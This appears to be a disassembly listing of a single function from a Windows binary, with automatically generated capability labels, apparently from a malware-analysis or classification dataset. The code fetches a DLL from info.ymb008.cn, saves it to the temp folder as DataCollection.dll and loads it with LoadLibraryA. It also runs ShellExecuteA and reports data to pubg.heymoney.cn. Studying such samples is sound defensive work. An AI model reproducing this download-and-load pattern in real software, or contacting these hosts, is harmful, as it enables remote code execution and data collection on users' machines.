Function at 0x413390
Capabilities:
Check if file exists
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47fe77
mov eax, dword fs:[0]
push eax
sub esp, 0x60c
mov eax, dword [0x49b024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00415ee0
mov ecx, eax
call fcn.00415f40
movzx eax, al
test eax, eax
jne 0x4133d6
xor eax, eax
jmp 0x413db4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4e0], esp
push ecx
call fcn.00415ee0
mov ecx, eax
call fcn.00416800
mov dword [ebp - 0x540], eax
mov edx, dword [ebp - 0x540]
mov dword [ebp - 0x544], edx
mov dword [ebp - 4], 0
call fcn.004070e0
mov dword [ebp - 4], 0xffffffff
mov ecx, eax
call fcn.0040fb70
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x4e4], esp
push eax
call fcn.00415ee0
mov ecx, eax
call fcn.00416840
mov dword [ebp - 0x548], eax
mov ecx, dword [ebp - 0x548]
mov dword [ebp - 0x54c], ecx
mov dword [ebp - 4], 1
call fcn.004070e0
mov dword [ebp - 4], 0xffffffff
mov ecx, eax
call fcn.0040fa90
sub esp, 0x1c
mov edx, esp
mov dword [ebp - 0x4e8], esp
push edx
call fcn.00415ee0
mov ecx, eax
call fcn.00416880
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0x550]
mov dword [ebp - 0x554], eax
mov dword [ebp - 4], 2
call fcn.004070e0
mov dword [ebp - 4], 0xffffffff
mov ecx, eax
call fcn.0040fb00
push 0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4ec], esp
push 0x48ac63
call fcn.004086f0
mov dword [ebp - 0x558], eax
mov ecx, dword [ebp - 0x558]
mov dword [ebp - 0x55c], ecx
mov dword [ebp - 4], 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4f0], esp
push 0x48ac6b
call fcn.004086f0
mov dword [ebp - 0x560], eax
mov edx, dword [ebp - 0x560]
mov dword [ebp - 0x564], edx
mov byte [ebp - 4], 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4f4], esp
push 0x48dee4
call fcn.004086f0
mov dword [ebp - 0x568], eax
mov eax, dword [ebp - 0x568]
mov dword [ebp - 0x56c], eax
mov byte [ebp - 4], 5
call fcn.004070e0
mov dword [ebp - 4], 0xffffffff
mov ecx, eax
call fcn.00407170
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x4f8], esp
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4fc], esp
push ecx
call fcn.00415ee0
mov ecx, eax
call fcn.00416960
mov dword [ebp - 0x570], eax
push esi
call fcn.0040fe10
add esp, 0x20
mov dword [ebp - 0x574], eax
mov edx, dword [ebp - 0x574]
mov dword [ebp - 0x578], edx
lea eax, [ebp - 0x144]
push eax
call fcn.00410150
add esp, 0x20
mov dword [ebp - 0x57c], eax
mov dword [ebp - 4], 6
push 0x48dee8
lea ecx, [ebp - 0x144]
call fcn.00409b50
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x500], esp
push ecx
call fcn.00415ee0
mov ecx, eax
call fcn.004169a0
mov dword [ebp - 0x580], eax
lea edx, [ebp - 0x2c]
push edx
call fcn.0040fe10
add esp, 0x20
mov dword [ebp - 0x584], eax
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x588], eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x588]
push ecx
lea edx, [ebp - 0x144]
push edx
lea eax, [ebp - 0x160]
push eax
call fcn.00414f90
add esp, 0xc
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x2c]
call fcn.00409b30
lea ecx, [ebp - 0x160]
call fcn.00409b80
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4137c7
push 0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x504], esp
push 0x48ac7d
call fcn.004086f0
mov dword [ebp - 0x58c], eax
mov ecx, dword [ebp - 0x58c]
mov dword [ebp - 0x590], ecx
mov byte [ebp - 4], 0xa
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x508], esp
push 0x48ac7e
call fcn.004086f0
mov dword [ebp - 0x594], eax
mov edx, dword [ebp - 0x594]
mov dword [ebp - 0x598], edx
mov byte [ebp - 4], 0xb
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50c], esp
push 0x48ac7f
call fcn.004086f0
mov dword [ebp - 0x59c], eax
mov eax, dword [ebp - 0x59c]
mov dword [ebp - 0x5a0], eax
mov byte [ebp - 4], 0xc
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x510], esp
push 0x48deec
call fcn.004086f0
mov dword [ebp - 0x5a4], eax
mov ecx, dword [ebp - 0x5a4]
mov dword [ebp - 0x5a8], ecx
mov byte [ebp - 4], 0xd
call fcn.004070e0
mov byte [ebp - 4], 9
mov ecx, eax
call fcn.004076a0
push 0x48def0
lea ecx, [ebp - 0x48]
call fcn.0040ce20
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x160]
call fcn.00409b80
push eax
lea ecx, [ebp - 0x80]
call fcn.0040ce20
mov byte [ebp - 4], 0xf
push 0xbb8
lea edx, [ebp - 0x48]
push edx
push 1
push 0
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x514], esp
push eax
call fcn.00415ee0
mov ecx, eax
call fcn.004169e0
mov dword [ebp - 0x5ac], eax
lea ecx, [ebp - 0x64]
push ecx
call fcn.0040fe10
add esp, 0x20
mov dword [ebp - 0x5b0], eax
mov edx, dword [ebp - 0x5b0]
mov dword [ebp - 0x5b4], edx
mov eax, dword [ebp - 0x5b4]
push eax
lea ecx, [ebp - 0x80]
push ecx
call fcn.0040ffd0
add esp, 0x18
lea ecx, [ebp - 0x64]
call fcn.00409b30
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x80]
call fcn.00409b30
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x48]
call fcn.00409b30
mov dword [ebp - 0x518], 1
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x160]
call fcn.00409b30
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x144]
call fcn.00409b30
mov eax, dword [ebp - 0x518]
jmp 0x413db4
lea ecx, [ebp - 0x144]
call fcn.00409b80
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x413948
lea edx, [ebp - 0x264]
push edx
call fcn.00415ee0
mov ecx, eax
call fcn.00416a60
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x264]
call fcn.00414ae0
test eax, eax
jbe 0x413939
push 0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x51c], esp
push 0x48ac83
call fcn.004086f0
mov dword [ebp - 0x5b8], eax
mov eax, dword [ebp - 0x5b8]
mov dword [ebp - 0x5bc], eax
mov byte [ebp - 4], 0x11
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x520], esp
push 0x48ac8e
call fcn.004086f0
mov dword [ebp - 0x5c0], eax
mov ecx, dword [ebp - 0x5c0]
mov dword [ebp - 0x5c4], ecx
mov byte [ebp - 4], 0x12
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x524], esp
push 0x48ac8f
call fcn.004086f0
mov dword [ebp - 0x5c8], eax
mov edx, dword [ebp - 0x5c8]
mov dword [ebp - 0x5cc], edx
mov byte [ebp - 4], 0x13
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x528], esp
push 0x48def4
call fcn.004086f0
mov dword [ebp - 0x5d0], eax
mov eax, dword [ebp - 0x5d0]
mov dword [ebp - 0x5d4], eax
mov byte [ebp - 4], 0x14
call fcn.004070e0
mov byte [ebp - 4], 0x10
mov ecx, eax
call fcn.004076a0
push 5
push 0x48acae
push 0x48acaf
lea ecx, [ebp - 0x264]
call fcn.00409a50
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x52c], 1
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x264]
call fcn.00408830
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x160]
call fcn.00409b30
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x144]
call fcn.00409b30
mov eax, dword [ebp - 0x52c]
jmp 0x413db4
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x264]
call fcn.00408830
push str.http:__info.ymb008.cn_storage_5gI3EYgv9Y7wKQVqDwwc9U8GD1CeekDM8A0mO5vx.dll
lea ecx, [ebp - 0x248]
call fcn.004086f0
mov byte [ebp - 4], 0x15
push 1
push str.tyxzq
call fcn.004119b0
add esp, 8
mov byte [ebp - 0x209], al
movzx ecx, byte [ebp - 0x209]
test ecx, ecx
je 0x413a84
mov dl, byte [0x48acba]
mov byte [ebp - 0x3cc], dl
push 0x103
push 0
lea eax, [ebp - 0x3cb]
push eax
call fcn.00437410
add esp, 0xc
lea ecx, [ebp - 0x3cc]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea edx, [ebp - 0x3cc]
push edx
lea ecx, [ebp - 0x9c]
call fcn.004086f0
mov dword [ebp - 0x5d8], eax
mov eax, dword [ebp - 0x5d8]
mov dword [ebp - 0x5dc], eax
mov byte [ebp - 4], 0x16
push str.DataCollection.dll
mov ecx, dword [ebp - 0x5dc]
push ecx
lea edx, [ebp - 0x2c0]
push edx
call fcn.00408f80
add esp, 0xc
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x9c]
call fcn.00408830
lea ecx, [ebp - 0x2a4]
call fcn.0040ab70
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x2c0]
call fcn.00409a50
push eax
lea ecx, [ebp - 0x248]
call fcn.00409a50
push eax
lea ecx, [ebp - 0x2a4]
call fcn.0040add0
lea ecx, [ebp - 0x2c0]
call fcn.00409a50
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x413a66
lea ecx, [ebp - 0x2c0]
call fcn.00409a50
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0x3d0], eax
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x2a4]
call fcn.0040ac20
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x2c0]
call fcn.00408830
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x530], esp
lea eax, [ebp - 0x144]
push eax
call fcn.004149d0
mov dword [ebp - 0x5e0], eax
lea ecx, [ebp - 0xb8]
push ecx
call fcn.0040fcf0
add esp, 0x20
mov dword [ebp - 0x5e4], eax
mov edx, dword [ebp - 0x5e4]
mov dword [ebp - 0x5e8], edx
mov ecx, dword [ebp - 0x5e8]
call fcn.00409a50
push eax
call dword [sym.imp.dbghelp.dll_MakeSureDirectoryPathExists]
lea ecx, [ebp - 0xb8]
call fcn.00408830
push 0
push 0x413dd0
push 0
push 0x66
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamW]
mov dword [ebp - 0x22c], eax
mov eax, dword [ebp - 0x22c]
push eax
lea ecx, [ebp - 0x1b4]
call fcn.0040eba0
mov byte [ebp - 4], 0x1a
push 0x48df68
lea ecx, [ebp - 0xd4]
call fcn.0040ce20
mov dword [ebp - 0x5ec], eax
mov ecx, dword [ebp - 0x5ec]
mov dword [ebp - 0x5f0], ecx
mov byte [ebp - 4], 0x1b
mov edx, dword [ebp - 0x5f0]
push edx
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x534], esp
push eax
call fcn.00415ee0
mov ecx, eax
call fcn.00416960
mov dword [ebp - 0x5f4], eax
lea ecx, [ebp - 0xf0]
push ecx
call fcn.0040fe10
add esp, 0x20
mov dword [ebp - 0x5f8], eax
mov edx, dword [ebp - 0x5f8]
mov dword [ebp - 0x5fc], edx
mov byte [ebp - 4], 0x1c
mov eax, dword [ebp - 0x5fc]
push eax
lea ecx, [ebp - 0x208]
push ecx
call fcn.00414fd0
add esp, 0xc
mov dword [ebp - 0x600], eax
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0xf0]
call fcn.00409b30
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xd4]
call fcn.00409b30
lea ecx, [ebp - 0x208]
call fcn.00409b80
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x538], esp
push eax
call fcn.0040ce20
mov dword [ebp - 0x604], eax
lea edx, [ebp - 0x228]
push edx
call fcn.00410150
add esp, 0x20
mov dword [ebp - 0x608], eax
mov byte [ebp - 4], 0x20
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x1ec]
call fcn.004149d0
mov byte [ebp - 4], 0x21
call fcn.00415ee0
mov ecx, eax
call fcn.004168e0
movzx ecx, al
test ecx, ecx
je 0x413c61
mov dl, byte [0x48acbb]
mov byte [ebp - 0x4dc], dl
push 0x103
push 0
lea eax, [ebp - 0x4db]
push eax
call fcn.00437410
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x4dc]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea edx, [ebp - 0x4dc]
push edx
call fcn.004117d0
add esp, 4
lea eax, [ebp - 0x10c]
push eax
call fcn.00415ee0
mov ecx, eax
call fcn.00416880
mov dword [ebp - 0x60c], eax
mov ecx, dword [ebp - 0x60c]
mov dword [ebp - 0x610], ecx
mov byte [ebp - 4], 0x22
lea edx, [ebp - 0x128]
push edx
call fcn.00415ee0
mov ecx, eax
call fcn.00416840
mov dword [ebp - 0x614], eax
mov eax, dword [ebp - 0x614]
mov dword [ebp - 0x618], eax
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x610]
call fcn.00409a50
push eax
mov ecx, dword [ebp - 0x618]
call fcn.00409a50
push eax
lea ecx, [ebp - 0x1ec]
call fcn.00409b80
push eax
push str.http:__pubg.heymoney.cn_api_debugtrueencryptfalse
lea ecx, [ebp - 0x1b4]
call fcn.0040ede0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x128]
call fcn.00408830
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x10c]
call fcn.00408830
push 0
push 0
push 0
lea ecx, [ebp - 0x1d0]
push ecx
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x413d38
lea edx, [ebp - 0x1d0]
push edx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1d0]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x413d05
mov dword [ebp - 0x53c], 0
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x1ec]
call fcn.00409b30
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x228]
call fcn.00409b30
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x208]
call fcn.00409b30
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x1b4]
call fcn.0040ec80
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x248]
call fcn.00408830
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x160]
call fcn.00409b30
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x144]
call fcn.00409b30
mov eax, dword [ebp - 0x53c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042ec7a
mov esp, ebp
pop ebp
ret